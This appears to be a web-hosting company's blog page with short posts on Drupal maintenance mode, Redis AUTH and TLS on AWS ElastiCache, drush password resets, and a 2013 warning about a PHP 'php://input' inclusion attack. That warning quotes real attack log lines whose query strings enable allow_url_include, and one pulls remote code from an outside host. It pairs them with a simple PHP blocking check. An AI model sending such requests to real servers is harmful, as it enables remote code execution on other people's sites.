Maintenance mode keeps your Drupal site polished during updates—show visitors a friendly notice while admins work safely behind the scenes. This guide explains who should use it, what it does, why it matters for business and SEO, and exactly how to enable/disable it in Drupal 7–10 with UI, Drush, and SQL fallbacks.
Secure Redis connections in Drupal using password authentication When using AWS ElastiCache for Redis as a caching backend for your Drupal site, it’s important to protect access to the Redis service—not just with network-level security, but also at the application level using AUTH. This guide focuses on using a single AUTH token with Drupal’s Redis module and the PHPRedis extension, which is the most compatible approach. Using Redis AUTH Token (Single Password) AWS ElastiCache Redis supports AUTH token authentication, allowing clients to authenticate with a single password. This is the recommended method for use with PHPRedis, which does not support named user authentication. ✅ How to Enable AUTH Token in AWS In the AWS ElastiCache Console, go to your Redis cluster. Choose Modify. Under Access Control, select Redis AUTH. Enter a secure password (minimum 16 characters). Save changes and wait for the cluster to update. You can enable or modify
Secure Redis Caching in Drupal Using PHPRedis and ElastiCache TLS When using Redis as a caching layer for Drupal, encrypting the connection between your application and the Redis backend is a security best practice—especially when operating in cloud environments. Fortunately, AWS ElastiCache for Redis enables in-transit encryption (TLS) by default on newer clusters and uses the standard Redis port 6379. This guide explains how to configure the Drupal Redis module to connect securely to AWS ElastiCache Redis using PHPRedis with TLS. Prerequisites Drupal 9 or 10 site Redis module installed and enabled PHPRedis extension (php-redis) installed with TLS support An ElastiCache Redis cluster with in-transit encryption enabled (default on Redis 6+) Step 1: Confirm ElastiCache Cluster Uses In-Transit Encryption When creating your ElastiCache cluster in AWS: Ensure Encryption in transit is set to Enabled The cluster will use port 6379 for TLS connections TLS is enabled by default for
SSH into the website document root and install drush:
|
1 |
composer require drush/drush |
Use drush to reset admin user password:
|
1 |
./vendor/bin/drush user-password admin --password=[newpass] |
We’ve seen several sites compromised in the last few weeks using a “local file inclusion” vulnerability with “php://input”. Here are some sample log entries: 91.224.160.25 – – [23/May/2013:12:23:54 +0000] “POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1” 200 247 “-” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2” 89.111.24.97 – – [29/May/2013:08:38:22 +0000] “GET /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp://gofastdownload.com/rf/code.txt HTTP/1.1” 200 1104 “-” “Opera/9.80 (Windows NT 6.1; U; MRA 8.0 (build 5745); ru) Presto/2.10.229 Version/11.64” This page explains the attack: http://zerofreak.blogspot.com/2012/04/lfi-exploitation-via-phpinput-shelling.html One of the compromised sites was Expression Engine and one was Drupal. Here’s a bit of PHP code that I added to index.php to stop further attacks:
|
1 2 3 4 5 |
if (stripos($_SERVER['QUERY_STRING'],'php://input') !== FALSE) { die("Not allowed."); } |
Obviously this is a very serious threat. We would advise all sites to test for this vulnerability.
Reliable Penguin provides managed web hosting, systems administration, website and server migrations, and expert consulting.
Submit the form—or for immediate service call 866-649-7984.